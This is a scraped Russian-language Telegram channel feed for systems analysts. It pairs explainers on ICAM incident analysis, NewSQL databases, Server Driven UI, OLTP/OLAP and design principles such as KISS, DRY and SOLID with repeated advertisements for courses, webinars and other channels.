Системный Аналитик

Пока вы собираете требования в одиночку, кто-то уже руководит целой аналитической командой... Узнайте, как управлять командой системных аналитиков эффективно за 5 месяцев обучения вместе с OTUS на курсе «Системный аналитик. Управление командой» 🎁 Записывайтесь на 2 бесплатных вебинара — познакомьтесь с программой обучения и преподавателями. Задайте свои вопросы экспертам! 1️⃣ 8 сентября, 20:00 мск — «Системный аналитик и его ценность глазами компании»: разберём, как грамотная работа аналитика повышает эффективность команды и продукта, и почему бизнес готов платить за эту ценность. 2️⃣ 23 сентября, 20:00 мск — «Как проводить архитектурное ревью и находить риски до начала разработки»: научимся находить узкие места и точки отказа до старта разработки, чтобы архитектура не рассыпалась при запуске продукта. Записывайтесь ➡️ https://otus.pw/my9Z/?erid=2W5zFJ4hi1o Реклама. ООО "ОТУС ОНЛАЙН-ОБРАЗОВАНИЕ". ИНН 9705100963.

100 откликов, 0 собеседований. Знакомо? Можно конечно продолжать винить рынок, каждые 5 минут обновлять HH, переписывать резюме в десятый раз Но лучше - наконец разобраться кого в этот период активно нанимают и перестроить маршрут Сейчас мало знать REST, SQL и прочий инструментарий На собесы за 250-300к+ зовут тех, кто понимает, как всё это работает вместе и как спроектировать систему Сильный айти спец сегодня - это человек, который понимает архитектуру решений целиком 4 сентября в 19:00 МСК на бесплатном вебе «Архитектура без кода» покажем, как прокачать этот навык Веб для джунов и мидлов системной и бизнес-аналитики, QA, дата-аналитиков, разработчиков. Для всех, кто хочет оставаться в АйТи и нормально зарабатывать Регистрируйся здесь Erid: 2SDnjdVJmgX Название: ООО "СТЕП БАЙ СТЕП" ИНН: 0800013217

❓ ICAM (Incident Cause Analysis Method) ICAM (Incident Cause Analysis Method) — метод разбора инцидентов 💚 ищет системные причины, а не останавливается на ошибке конкретного человека 💚 по итогам разбора формулируют меры, чтобы инцидент не повторился 💚 Ключевой вопрос метода — не «кто виноват?», а «почему система это допустила?» 💚 Подходит для ИТ-инцидентов: сбоев систем, киберинцидентов, отказов бизнес-процессов Зачем нужен ❣ выводит разбор за пределы «человеческой ошибки»: наказание исполнителя не предотвращает следующий инцидент, а изменение системы — предотвращает ❣ выявляет скрытые системные проблемы, существовавшие задолго до инцидента ❣ даёт корректирующие действия, которые меняют барьеры защиты и организационные условия, а не симптомы ❣ создаёт общий язык для подразделений: категории факторов понятны всем Когда применять ✨серьёзные инциденты: существенный ущерб, повреждения, риск для людей или бизнеса ✨повторяющиеся инциденты, когда предыдущие разборы «на глаз» не помогли ✨ситуации, где простой анализ вывел на системную проблему, которую надо разбирать глубже ✨сложные инциденты с участием нескольких подразделений Как работает 🧀 В основе метода — модель «швейцарского сыра»:

Защита системы состоит из нескольких слоёв-барьеров, и в каждом есть слабые места — «отверстия» Инцидент происходит, когда отверстия выстраиваются в одну линию и угроза проходит насквозь.

Отсюда два типа причин: 💠 Активные отказы: действия и ошибки, которые привели к событию 💠 Латентные условия: скрытые системные проблемы организации, которые существовали до инцидента Причины разбираются по факторам: ➡ отсутствующие или несработавшие барьеры: контроли, которые должны были предотвратить или смягчить инцидент, но не справились ➡ действия людей и команд: что сделали или не сделали вовлечённые люди — включая ошибки и нарушения ➡ условия задачи и рабочей среды: состояние оборудования, нехватка времени, нагрузка, факторы среды, сбои коммуникации ➡ организационные факторы: управленческие решения, распределение ресурсов Иногда выделяют пятую группу — человеческие факторы: усталость, стресс, ситуационную осведомлённость. Как работает по шагам: 1⃣ Немедленное реагирование: локализовать инцидент, защитить людей и окружающую среду 2⃣ Сбор доказательств: физические, документальные и свидетельские — документы, логи, интервью. Доказательства быстро теряют качество, поэтому сбор начинается в течение часов; сам анализ — после стабилизации сервиса 3⃣ Хронология: восстановить последовательность событий и условий, в которых они происходили 4⃣ Анализ барьеров: какие контроли должны были предотвратить инцидент, где они отказали или отсутствовали 5⃣ Анализ действий и условий: что делали вовлечённые люди и в каких условиях — задачи, рабочая среда — они работали 6⃣ Анализ организационных факторов: какие решения, политика и культура допустили такие условия 7⃣ Рекомендации и отчёт: сформулировать корректирующие действия по принципу SMART — конкретные, измеримые, достижимые, релевантные, ограниченные по времени — и внести их в отчёт расследования Команда расследования должна быть независимой Пример Ситуация: в финансовой компании произошёл сбой платформы — выставление счетов задержалось на две недели, компания понесла потери Разбор по ICAM выявит: 💚 несработавший барьер: плановое обслуживание платформы было назначено внахлёст с критическими бизнес-операциями 💚 действия людей: инженеры неверно интерпретировали инструкции по перезагрузке системы 💚 латентные условия: реестр рисков устарел и не отражал ИТ-зависимости бизнес-процессов 💚 организационные факторы: ИТ-отдел работал изолированно, интеграция с бизнес-операциями была слабой Итог: перестроили планирование между отделами, усилили управление подрядчиками, руководителям внедрили дашборд, который в реальном времени показывает состояние ИТ-систем. 💚 Все выводы — про изменение системы, а не про поиск виноватых. 📎 Материалы 1. Метод ICAM (Incident Cause Analysis Method) 2. Контрольный список шаблона метода анализа причин инцидента (ICAM) 3. Модель швейцарского сыра 4. Постмортем без наказаний: культура разбора ошибок, которая реально улучшает качество проектов 5. Инцидент-менеджмент с нуля: практический гайд для растущих команд 📚 Книги 1. Безопасные и надежные системы. Лучшие практики проектирования, внедрения и обслуживания как в Google — Хизер Адкинс, Бетси Бейер и др. #инфраструктура ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

Как аналитику без опыта найти работу❓ Вокруг IT‑рынка сейчас много пугающих слухов. Но по факту вакансии открываются, а компании активно ищут толковых специалистов. Вопрос не в том, есть ли места. Вопрос — умеешь ли ты правильно анализировать рынок, писать продающее резюме и самопрезентацию. Про это уже пишет Николай — системный аналитик с 10+ годами опыта в топовых IT-компаниях. Записки системного аналитика — канал про системный анализ и путь в профессию, где Николай разбирает, как в 2026 году реально устроиться аналитиком. 🔥 Уже в канале: 1) Почему ИИ не заменит профессию СА 2) Как успешно пройти собеседование на 250К и позицию Middle+ 3) Авторский гайд по профессии СА в 5 статьях Подписывайся, чтобы получить получить оффер на позицию системного аналитика и повысить свой доход: t.me/+bJGfbHW8TgEwMWNi

Сокращения в желтом банке 💳 Системный аналитик из этой истории попал под сокращение в банке и рассказал, как там решили перестроить целый департамент вокруг ИИ Основная идея: убрать все роли и нанять универсального продуктового инженера, который будет делать всё с помощью ИИ Спойлер: новые чудо-инженеры приходить не спешат Вита Заебумба | Путь корпората — топовый канал про IT, сферу найма, трешовые собесы и работу в корпорациях. Просто кладезь кулстори не только от автора, но и от подписчиков Истории, которые уже успели стать бестселлером: 🔸Как бигтехи кошмарят вас на собеседованиях ❤️ 🔸Поймала интервьюеров за руку на собесе в Ягодках 🛍 🔸Мое мнение, что будет с рынком найма в 2026 году + полезные материалы 🔸Эффект Писюхи, или как я столкнулась с эйджизмом в найме 🔸Aston, разлогинься, или как продать себя в рабство Но тут не только про корпоративный цирк. Подписывайтесь, если хотите: 🔹понимать, что происходит на рынке IT 🔹читать реальные истории найма и собеседований 🔹узнавать внутрянку компаний от людей, которые там работают 🔹следить за тем, как ИИ меняет нашу работу 👉 @vitazaebymba

🖥 NewSQL NewSQL — класс реляционных СУБД, который совмещает привычный SQL и строгие ACID -транзакции классических баз (с горизонтальной масштабируемостью и производительностью, характерными для NoSQL) Попытка убрать главный компромисс хранения данных: ➖ классические реляционные БД надёжны и согласованы, но плохо масштабируются горизонтально ➖ NoSQL отлично масштабируется, но часто жертвует строгой согласованностью ✅ NewSQL пытается дать и то и другое одновременно Зачем нужен 🔸 сохранить совместимость с SQL 🔸 масштабироваться горизонтально. Нагрузка распределяется по нескольким узлам кластера, а не наращивается мощность одного сервера 🔸 не отказываться от строгой согласованности. В отличие от многих NoSQL-решений с конечной согласованностью, NewSQL держит ACID даже при распределении данных по машинам и дата-центрам Как работает ⚡️ Главный вызов NewSQL — удержать ACID, когда данные разнесены по нескольким машинам. Под капотом транзакция проходит несколько этапов: 1️⃣ SQL-слой принимает запрос. Узел-координатор парсит SQL, строит план выполнения и определяет, на каких шардах лежат затронутые строки * Шард — диапазон строк таблицы, вынесенный на отдельную группу узлов; сами таблицы заранее разбиты на такие диапазоны по ключу шардирования 2️⃣ Каждый шард — реплицированная группа. Данные одного шарда хранятся на нескольких узлах (обычно 3–5), между которыми работает алгоритм консенсуса (чаще всего Raft) 🔹один узел — лидер, остальные — ведомые 🔹запись считается подтверждённой, когда её приняло большинство (кворум). 🔹обеспечивается строгая согласованность без единого «главного» сервера на всю базу. 3️⃣ Транзакция в пределах одного шарда заканчивается на шаге 2: лидер коммитит запись после получения кворума 4️⃣ Транзакция через несколько шардов идёт по протоколу распределённого коммита — двухфазному коммиту (2PC): 🔹координатор сначала спрашивает все затронутые шарды «готовы?», 🔹когда все ответили «да», приказывает зафиксировать изменения — иначе откатывает везде. Атомарность сохранена. 5️⃣ Параллельные транзакции не мешают друг другу благодаря MVCC — каждая работает со своим снимком данных на момент старта, читающие не блокируют пишущих. 6️⃣ Глобальное время для согласованности между дата-центрами Например, чтобы упорядочить транзакции по всему миру, Google Spanner использует TrueTime — атомные часы и GPS-приёмники в каждом ЦОД с известной погрешностью. Перед коммитом транзакция ждёт, пока эта неопределённость не станет нулевой ▶️ Плата за распределённость — дополнительные раунды обмена между узлами: чем больше шардов и реплик проходит транзакция, тем выше задержка 👉 NewSQL выгоден там, где нужна именно горизонтальная масштабируемость, а не предельная скорость одиночного сервера Классификация NewSQL-систем Выделяют два подхода к появлению NewSQL-систем: 1️⃣ Созданные с нуля Опираются на оперативную память (in-memory) и быстрые накопители (SSD) для предельной скорости доступа Например, VoltDB (in-memory NewSQL-СУБД для OLTP-нагрузок реального времени), 2️⃣ Модификация существующих движков Расширяют зрелые СУБД (например, MySQL/MariaDB) новыми движками хранения и оптимизациями Например, Percona Server (оптимизированный форк MySQL), ▶️ Отдельная ветка — связующее ПО (middleware), которое делает прозрачное шардирование над обычными одноузловыми СУБД: Apache ShardingSphere, MaxScale. Это не полноценный NewSQL: такие слои маршрутизируют запросы, но не дают распределённого ACID Примеры СУБД 🔹YDB (Яндекс) — open-source распределённая реляционная SQL-СУБД Горизонтальная масштабируемость, строгая согласованность и ACID-транзакции, совмещение OLTP- и OLAP-нагрузок; язык запросов — YQL (диалект SQL) 🔹CockroachDB — распределённая SQL-база, совместимая с диалектом PostgreSQL, с упором на географическое распределение и живучесть 🔹Tarantool (экосистема VK) — in-memory СУБД с хранимыми процедурами на Lua, синхронной репликацией и автоматическими выборами лидера. Не классический NewSQL, а смежное решение для высоконагруженных сценариев: очереди, кэши, мастер-хранилища с высокой пропускной способностью Когда применять 😫 высоконагруженные OLTP-системы, где критична строгая согласованность данных (финтех, биллинг, обработка платежей) 😫 географически распределённые системы. Когда данные и пользователи размазаны по дата-центрам и регионам, а согласованность всё равно нужна 😫 когда вертикальное масштабирование классической реляционной БД упёрлось в потолок, но переходить на NoSQL с конечной согласованностью нельзя по требованиям бизнеса. Когда НЕ стоит использовать ➖ небольшие проекты с предсказуемой нагрузкой. Классической реляционной БД (MySQL, PostgreSQL) хватит ➖ неструктурированные и слабоструктурированные данные. Соцсети, логи, данные датчиков, вложенные документы — для NoSQL (документные, ключ-значение, графовые БД) Плюсы и минусы ➕ горизонтальная масштабируемость без отказа от строгой согласованности и ACID ➕ привычный SQL и совместимость с реляционными инструментами ➕ отказоустойчивость и высокая доступность за счёт распределённой архитектуры и репликации ➕ подходит для систем с большим потоком параллельных транзакций ➖ сложность настройки, обслуживания и диагностики неполадок по сравнению с классическими реляционными БД ➖ ограниченная переносимость между решениями: разные NewSQL используют разные диалекты SQL и архитектуры, миграция между ними не всегда простая ➖ выше задержка на запись из-за раундов согласования между узлами (консенсус, распределённый коммит) 📎 Материалы 1. Кратко про NewSQL 2. Как выбрать NewSQL-СУБД для вашей компании 3. NewSQL: SQL никуда не уходит 4. NewSQL — новый виток в эволюции BigData 5. Сравнение производительности YDB, CockroachDB и YugabyteDB на бенчмарке YCSB 6. Разбираемся в типах баз данных 📚 Книги 1. Высоконагруженные приложения. Программирование, масштабирование, поддержка — Мартин Клеппман #бд #sql ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

Что делать если все скиллы обесценятся через пару лет? Раньше аналитику хватало умения писать пользовательские сценарии и собирать шаблонное ТЗ. Сегодня простые задачи забирает ИИ, а требования к спецам растут каждый месяц Мы прошерстили рынок и выделили главный навык, который лишь растет в актуальности на фоне событий - АРХИТЕКТУРА. Но глубоко разбираться в ней хотят далеко не все А ведь именно эти знания дают: — Понимание, как устроены микросервисы, REST API и Kafka — Уверенность на технических собеседованиях и выход на архитектурный чек — Защиту от сбоев на проде из-за ошибок в логике — Быстрый рост от СА/БА до фуллстек и арх-уровня Приходи 13 августа в 19:00 (МСК) на бесплатный онлайн-практикум «Архитектура без кода: как стать аналитиком, которого слушают разработчики и бизнес» Разберем связку сервисов, базы данных и построение сценариев на чистом инженерном мышлении. Веб будет полезен джунам и мидлам в аналитике (СА, БА, дата- и фуллстек), а также QA, специалистам поддержки и разработчикам. Регистрируйся по ссылке Erid: 2SDnjeTZDxf Название: ООО "СТЕП БАЙ СТЕП" ИНН: 0800013217

Что делать если все скиллы обесценятся через пару лет? Раньше аналитику хватало умения писать пользовательские сценарии и собирать шаблонное ТЗ. Сегодня простые задачи забирает ИИ, а требования к спецам растут каждый месяц Мы прошерстили рынок и выделили главный навык, который лишь растет в актуальности на фоне событий - АРХИТЕКТУРА. Но глубоко разбираться в ней хотят далеко не все А ведь именно эти знания дают: — Понимание, как устроены микросервисы, REST API и Kafka — Уверенность на технических собеседованиях и выход на архитектурный чек — Защиту от сбоев на проде из-за ошибок в логике — Быстрый рост от СА/БА до фуллстек и арх-уровня Приходи 13 августа в 19:00 (МСК) на бесплатный онлайн-практикум «Архитектура без кода: как стать аналитиком, которого слушают разработчики и бизнес» (ссылка) Разберем связку сервисов, базы данных и построение сценариев на чистом инженерном мышлении. Веб будет полезен джунам и мидлам в аналитике (СА, БА, дата- и фуллстек), а также QA, специалистам поддержки и разработчикам. Регистрируйся по ссылке Erid: 2SDnjeTZDxf Название: ООО "СТЕП БАЙ СТЕП" ИНН: 0800013217

Карьерный лимб между джуном и мидлом — самая обидная точка на рынке Системного Анализа Зарплата в диапазоне 80-120к, задачи уже давно вышли за рамки "просто написать ТЗ", но на собеседованиях на 200к+ ты всё равно можешь посыпаться. Знания раскиданы, старые артефакты забыты, и как доказать, что ты уже Middle — непонятно. Пока твои знания и опыт остаются лоскутным одеялом, а не универсальной системой, приносящей ценность — рынок так и будет видеть в тебе вечного джуна. Валентин Заботин (тимлид СА в Beeline, провел 40+ аналитиков до офферов 185-280К) собрал Middle-Pack SA — по сути, всё, что нужно знать, чтобы выйти в мидлы на текущем рынке. Не "учи всё подряд", а конкретно: куда бить, на чём фокус, что на собесе спрашивают, а что нет. Что внутри: ▪️ Контекст рынка 2026: почему аналитики сидят на 120к и где сейчас открытые двери. ▪️ Харды: 5 конкретных тем, вокруг которых нужно строить свою самопрезентацию (и ссылки на их изучение). ▪️ Резюме: как выкинуть "джуновский" мусор и подсветить нужные артефакты, чтобы не вылетать на этапе HR. ▪️ 3 стратегии карьерного роста в СА без воды. 🤩 Бонус — разбор собеса на оффер 250К в двух частях: тех. часть и самопрезентация. Ты своими глазами увидишь, как нужно презентовать свой опыт так, чтобы тебе поверили и предложили работу. Валентин отдаёт это бесплатно. Сказал, что в будущем может закрыть доступ — так что пока есть, забирайте и применяйте: 👉 @lifeinanalytics_bot

🔼 Server Driven UI (SDUI) Server Driven UI (SDUI) — архитектурный подход, при котором сервер определяет не только данные, но и структуру пользовательского интерфейса (какие компоненты, в каком порядке и с какими параметрами отрисовать на клиенте) 🍃В обычном приложении клиент «знает», как показать экран 🍃В SDUI клиент превращается в «движок рендеринга» — он просто отрисовывает то, что пришло с сервера в виде декларативного описания (обычно JSON) Подход также называют BDUI (Backend-Driven UI) ⭕️В традиционной (client-driven) модели сервер отдаёт только данные, а клиент решает, как их показать: Сервер ➡️ отправляет данные ({"price": 1990, "currency": "RUB"}) Клиент ➡️ знает, как отобразить эти данные на конкретной платформе 🟠В SDUI сервер отдаёт описание интерфейса: Сервер ➡️ отправляет компоненты и их свойства ({"type": "price_label", "props": {"text": "1 990 ₽"}}) Клиент ➡️ по описанию собирает экран из готовых нативных компонентов ❗️Ключевое отличие: логика «что и где показать» переезжает с клиента на сервер Как работает Система состоит из трёх частей: 1⃣ UI-кит (компонентная база) — набор реализованных на каждой платформе нативных компонентов (кнопка, карточка, баннер, список). Это «общий язык» между сервером и клиентом. 2⃣ Движок рендеринга — клиентский механизм, который по описанию из JSON собирает экран: находит нужный компонент в UI-ките и передаёт ему свойства. 3⃣ Контракт (директивы) — описание экрана, которое сервер отдаёт клиенту. Типовой поток 1. На сервере формируется описание экрана (какие компоненты, порядок, свойства, действия). 2. Клиент запрашивает конфигурацию и получает JSON 3. Движок рендеринга разбирает JSON, по type находит компоненты в реестре и отрисовывает их 4. Пользователь взаимодействует (например, нажимает кнопку) — клиент выполняет действие (action), пришедшее вместе с компонентом 5. Нужно поменять экран — правка конфигурации на сервере, при следующем открытии приложения пользователи видят новый UI без обновления из стора Принципы SDUI ⭕️ Начинать с экрана, а не с данных. API проектируется под то, что нужно показать, а не под структуру БД (demand-driven подход). ⭕️ Минимум логики на клиенте. Любой if/else про «что показать» — кандидат на переезд на сервер. Иначе логика дублируется на каждой платформе. ⭕️ Отдавать продуктную информацию, а не доменные данные. Вместо price: 1990 + currency сервер сразу отдаёт готовую строку "1 990 ₽". Форматирование, локализация, скругления — на сервере. ⭕️ Единая дизайн-система. Все клиенты используют общий UI-кит, тогда серверная инструкция «отрисуй primary-кнопку» даст одинаковый результат везде. ⭕️ Внедрять инкрементально. Не переписывать всё приложение сразу, а начать с одного экрана или компонента (например, баннера на главной). Плюсы и минусы ✅ мгновенные обновления UI — без релизов в сторах и ожидания обновления у пользователей ✅ кроссплатформенность из коробки — один JSON рендерится на iOS, Android, Web ✅ простой A/B-тестинг и персонализация — разный UI разным сегментам одним изменением на сервере ✅ единообразие платформ — все клиенты синхронны, расхождений почти нет ✅ снижение нагрузки на мобильную разработку — фронт не верстает каждый экран с нуля ➖ без интернета UI не загрузится; нужны кэширование и фолбэки, иначе пустые экраны ➖ сложность старта — нужен UI-кит, движок рендеринга и серверная часть под это ➖ двойная поддержка компонентов — компоненты живут и на клиенте (реализация), и на сервере (описание) ➖сложнее отладка — труднее понять, почему экран выглядит именно так (собрался динамически) ➖ риск «зашить» бизнес-логику в UI — границы между слоями легко размыть Где используется Когда много платформ, а интерфейс меняется часто и под разные сегменты пользователей: 🟠 Travel- и маркетплейс-платформы — быстрые итерации UI в разделах с динамическим контентом 🟠 соцсети и стриминговые сервисы — мгновенный rollout изменений и экспериментов 🟠 e-commerce и маркетплейсы — разные раскладки витрин для разных продавцов (например, блок «Бестселлеры» только для крупных магазинов) 🟠когда нужно обновлять интерфейс с сервера, не зависеть от сторов 📎 Материалы 1. Чем полезен Server Driven UI 2. Яндекс выпускает DivKit — фреймворк для server-driven UI с открытым кодом 3. Server Driven UI в Альфа-Банке 4. Server-Driven UI архитектура: server-driven vs content-driven 5. Как работает Server-Driven UI и зачем он фронтендеру #архитектура ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

Почему ChatGPT заканчивается там, где начинается реальная работа Системному аналитику ChatGPT далеко не всегда можно использовать в рабочих задачах — и это не просто требование службы информационной безопасности. Когда приходится работать с внутренними требованиями, спецификациями, API-документацией, архитектурными схемами или коммерческой информацией, передавать эти данные внешним сервисам нельзя. При этом задачи остаются прежними: искать нужные требования, сопоставлять документы, разбираться в изменениях и быстро находить ответы в корпоративной базе знаний. Ответ рынка — локальные LLM (большие языковые модели) в закрытом контуре с собственным RAG и MCP-интеграциями. Такой ассистент работает с внутренними документами, обращается к корпоративным сервисам через MCP-сервер и не отправляет ни одного токена за пределы инфраструктуры. Первый работающий прототип сегодня можно собрать без программирования. 15 июля в 18:00 мск на бесплатном вебинаре «Прототипирование LLM: как создаются ИИ-ассистенты для реальных задач» Ярослав Шуваев, CEO Panteoꓸai и преподаватель MBA в РАНХиГС, покажет, как такой подход реализуется на практике. На вебинаре вы получите: — понимание, из каких компонентов состоит современный ИИ-ассистент и как они работают вместе; — рабочий прототип Telegram-бота, который отвечает по документации, а не придумывает ответы; — понимание, где no-code действительно закрывает задачу, а где без кода уже не обойтись; — гайд «Почему ваш ИИ пишет не то» с разбором различий между LLM и ИИ-агентом. Всем зарегистрированным придет запись эфира на почту — присоединяйтесь по ссылке: https://clc.to/erid_2W5zFG7go8V Реклама. ООО «КАРПОВ КУРСЫ». ИНН 7811764627. erid: 2W5zFG7go8V

📊 Сравнение Баз данных и Хранилищ данных ▫️База данных – оперативное хранилище, где содержится "текущее состояние" бизнес-процессов: активные заказы, остатки на складе, профили пользователей и тд ▫️ OLTP (Online Transaction Processing) — обработка транзакций онлайн, способ эксплуатации этой базы 💙Хранилище данных (DWH)— информационная система, в которой хранятся данные из разных источников. Используется для анализа, составления отчетов и интеграции данных транзакций. 💙OLAP (Online Analytical Processing) —  способ доступа и анализа этих данных 🔹 Наши посты ▫️Основные понятия баз данных ▫️Нормальные формы баз данных ▫️Типы связей в БД. Нормализация ▫️Денормализация в БД ▫️Колоночные БД, Cassandra vs PostreSQL ▫️Требования ACID: Краткий обзор ▫️Масштабирование БД. Партиционирование, шардирование и репликация ▫️Требования ACID: Краткий обзор 💙Data Warehouse (DWH) 💙OLTP и OLAP #инфраструктура #бд ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

Аналитики, время входить в прайм к осеннему найму 💅 подтянуть тех базу и ухватить сочный оффер на 300+К И если масштабирование баз данных вызывает пока больше вопросов чем азарта - приходи 10 июля на наш веб в 19:00 мск Подтянем твою техничку на реальных рабочих задачах прямо на бесплатном вебинаре - приходи онлайн, записи не будет. + ты сможешь получить бесплатный разбор компетенций и персональный план развития от практикующих старших аналитиков, если будешь активно участвовать в программе веба 10 июля ждем тебя на вебе “Масштабирование реляционных БД. На чем сыпятся даже сеньоры” Ведущий: Сооснователь Академии Системного Анализа StepbyStep Дмитрий Колосов — практикующий техлид в крупном e-com холдинге Для кого: Для мидлов, которые устали соглашаться на «сотку+-», боятся отказов на System Design и готовы выйти на честные 350к+. Регистрируйся по ссылке Erid: 2SDnje3kqna Название: ООО "СТЕП БАЙ СТЕП" ИНН: 0800013217

🖥 Нашёл канал, который советую всем, кто в айтишке или только заходит в сферу - Listen IT. Автор выкладывает аудио-версии статей на ИТ-темы в коротком и понятном формате: технологии, роли в ИТ, лучшие практики, инструменты. Идеально, чтобы слушать в дороге или на фоне - за пару минут разбираешь тему, на которую обычно нет времени сесть и почитать. Для подготовки к собесам по системному анализу - самое оно 👍. Плюс ребята недавно запустили сайт qomp.club с квизами по каждому выпуску, чтобы закрепить материал, а не просто послушать бездумно. Он сделан в стилистике старой Винды 🪟 (даже звуки кликов по папочкам те самые из детства) - олдскулы сводит моментально) Вспомнил, как играть в Сапёра - залип на 2 часа) Что из выпусков понравилось: ▪️ Что такое RAG ▪️ 30 ПОЛЕЗНЫХ КОМАНД GIT ▪️ Что такое HTTP/3 за 8 минут ▪️ Что такое ОРКЕСТРАЦИЯ и ХОРЕОГРАФИЯ МИКРОСЕРВИСОВ за 14 минут ▪️ Что такое КЭШ за 16 минут: Проектируем эффективное кэширование В общем, подписывайся на Listen IT и залетай на Комп - там ещё много чего интересного.

Фото и текст вместе опубликуйте, пожалуйста Системный аналитик помогает бизнесу и разработке говорить на одном языке: разбирает задачи компании, описывает требования, проектирует IT-решения и следит, чтобы система работала на реальные цели бизнеса. Онлайн-магистратура СПбГУ и Нетологии «Системный анализ и интеллектуальные системы управления бизнес-процессами» готовит специалистов на стыке IT и управления. В программе сочетаются академическая база СПбГУ и прикладные инструменты Нетологии. Студенты изучают математическое моделирование, алгоритмы, системный анализ, Python, BI-системы, no-code-инструменты, управление проектами и подходы к внедрению искусственного интеллекта. Такой набор навыков помогает работать со сложными бизнес-процессами: находить узкие места, снижать риски при разработке, формулировать требования к системам и сопровождать внедрение IT-решений. Обучение проходит полностью онлайн. После выпуска вы получаете диплом магистра СПбГУ очного образца по направлению «Прикладная информатика». Подробнее о программе Реклама. ООО “Нетология” ОГРН 1207700135884 Erid: 2VSb5xokLBU

Мы годами строили предсказуемые монолиты и микросервисы, но AI превратил PDLC в Дикий Запад, где старые паттерны проектирования больше не работают. Хватит делать вид, что ты контролируешь ситуацию, просто прикрываясь новой версией TOGAF. Приходи 1 июля на Arch.Meetup, где мы поговорим про архитектурный подход AI disrupt PDLC, и вместе со спикерами из Сбера, Вебпрактик и Газпром нефти будем учиться управлять этим хаосом, пока нейросети не начали проектировать системы вместо нас. 🔗Выбирай удобный формат и регистрируйся по ссылке   📍Встречаемся очно на Кутузовском 32, а ссылку для онлайн пришлем накануне.

✏️ Принципы разработки KISS, Бритва Оккама, SSOT, DRY, YAGNI, SOLID Зачем нужны Инженерные принципы это не строгие правила, а ориентир Помогают: 🔸 уменьшать стоимость изменений 🔸 снижать количество ошибок 🔸 упрощать сопровождение 🔸 делать требования понятнее 🔸 избегать избыточных решений 💡 Для системного аналитика принципы служат фильтром при сборе требований, позволяют снизить затраты ещё до написания кода KISS (Keep It Simple, Stupid) Решение должно быть максимально простым Чем сложнее система, тем дороже изменения, тестирование и поддержка KISS не означает примитивные решения ✅ А отказ от ненужного усложнения Как применять СА 🔵не добавлять лишние сущности и процессы 🔵избегать универсальных решений без необходимости 🔵описывать требования максимально понятно 🔵сокращать количество исключений и специальных сценариев Пример ❌ Спроектировать универсальный механизм уведомлений с 15 каналами доставки, шаблонизацией и правилами маршрутизации ✔️ Сначала реализовать email и push-уведомления, если нужны бизнесу ❌ Описывать 15 вариантов исключений для одного процесса ✔️ Описать общее правило обработки ошибок (fallback), покрывающее 95 % случае Признаки нарушения KISS ▪️слишком много сущностей ▪️чрезмерная параметризация ▪️большое количество условий и исключений ▪️ сложность объяснения решения Бритва Оккама Не надо умножать сущности без необходимости Если два решения равнозначно покрывают требования, выбирается то, у которого меньше сущностей и допущений Отличие от KISS 🔸KISS говорит «делай просто» 🔸Бритва Оккама — «выбирай простое среди равных» Примеры для СА 🟠Есть проблема производительности. Необязательно сразу проектировать новый сервис или менять архитектуру. Возможно, достаточно оптимизировать запрос или индекс 🟠При выборе интеграции: если данные можно получить через REST-агрегацию, не стоит предлагать внедрение ESB или CDC только из соображений «это современно». SSOT (Single Source of Truth) Для каждой информации должен существовать один источник истины Если одинаковые данные существуют в нескольких местах, со временем они начинают расходиться Где применяется 🔵требования 🔵схемы данных 🔵справочники 🔵бизнес-правила 🔵интеграционные контракты Примеры в СА 🔵создавать единый глоссарий; в тексте требований использовать ссылки на термины, а не их определения 🔵справочные данные (списки валют, стран) выносить в общий раздел и ссылаться на него 🔵маппинг полей между системами хранить в едином файле (Swagger/OpenAPI или отдельной таблице), а не дублировать в сценариях ❌ Пример нарушения: правило «комиссия для клиентов из ЕС = 20 %» прописано в ТЗ, в UI-макете, в описании интеграции и в тест-кейсах. При изменении ставки до 22 % три источника не обновляются → баг на релизе DRY (Don’t Repeat Yourself) Не повторять знания, логику или описание без необходимости Дублирование приводит к изменениям во многих местах одновременно (одинаковые бизнес-правила; повторяющиеся требования; копирование схем данных; одинаковая логика в нескольких процессах) Примеры для СА 🔸одинаковые структуры API вручную описываются в нескольких документах Лучше использовать единое описание и переиспользовать его 🔸в Use Cases применять include-сценарии для повторяющихся процедур (например, аутентификация описывается один раз) Когда дублирование допустимо Ради производительности (денормализация БД) или изоляции микросервисов (копирование DTO), но такое решение должно быть явно зафиксировано как исключение ❗️DRY не должен создавать избыточную сложность Отличие DRY от SSOT 🔸SSOT — про данные: одна сущность (справочник, атрибут, значение) хранится в одном месте. «где лежит истина?» (хранение) 🔸DRY — про логику: один алгоритм, правило или описание процесса не повторяется в разных местах. «где выполняется действие?» (поведение) YAGNI (You Aren’t Gonna Need It) Не создавать функциональность заранее Если функция не нужна сейчас — вероятно, её не нужно делать сейчас Примеры для СА 🔵 вместо проектирования 20 возможных статусов процесса «на будущее» лучше реализовать только реально используемые статусы. 🔵на этапе уточнения задавать вопрос: «Если не сделать это сейчас, сможет ли бизнес работать?» Если да — требование переносится в бэклог. ❌ Типичная ошибка: путать гибкость системы и проектирование гипотетических сценариев SOLID SOLID — набор принципов проектирования, направленных на создание изменяемых и поддерживаемых решений Интерпретация для СА 🔸SRP (Single Responsibility) Требование должно иметь одну причину для изменения. Не следует смешивать в одном разделе расчёт зарплаты и отправку уведомлений — их нужно разделять 🔸 OCP (Open/Closed) В требованиях новый сценарий должен дополнять, а не переписывать старый. Вместо «если тип A, то скидка 10 %» лучше описать механизм правил, где для типа A задаётся правило, а для типа B можно добавить новое правило 🔸 LSP (Liskov Substitution) Если в требованиях есть родительская роль («Клиент»), то её подтип («VIP-клиент») не должен нарушать предусловия системы (например, не требовать обязательный номер телефона, если у VIP его нет) 🔸 ISP (Interface Segregation) Лучше иметь несколько специализированных эндпоинтов, чем один универсальный с множеством обязательных полей 🔸 DIP (Dependency Inversion) Требования к модулям верхнего уровня не должны зависеть от деталей нижнего уровня. Вместо «сохранять в таблицу Oracle INSERT'ом» следует писать «система сохраняет данные» — абстрагироваться от реализации ❗️SOLID помогает управлять сложностью, но избыточное применение может привести к переусложнению 📎 Материалы 1. Принципы для разработки: KISS, DRY, YAGNI, BDUF, SOLID, APO и бритва Оккама 2. Принципы разработки в системном анализе 3. 5 принципов читаемого кода: KISS, YAGNI, DRY, BDUF и Бритва Оккама 4. SOLID, DRY, KISS, YAGNI и др. принципы разработки, пугающие новичка в IT 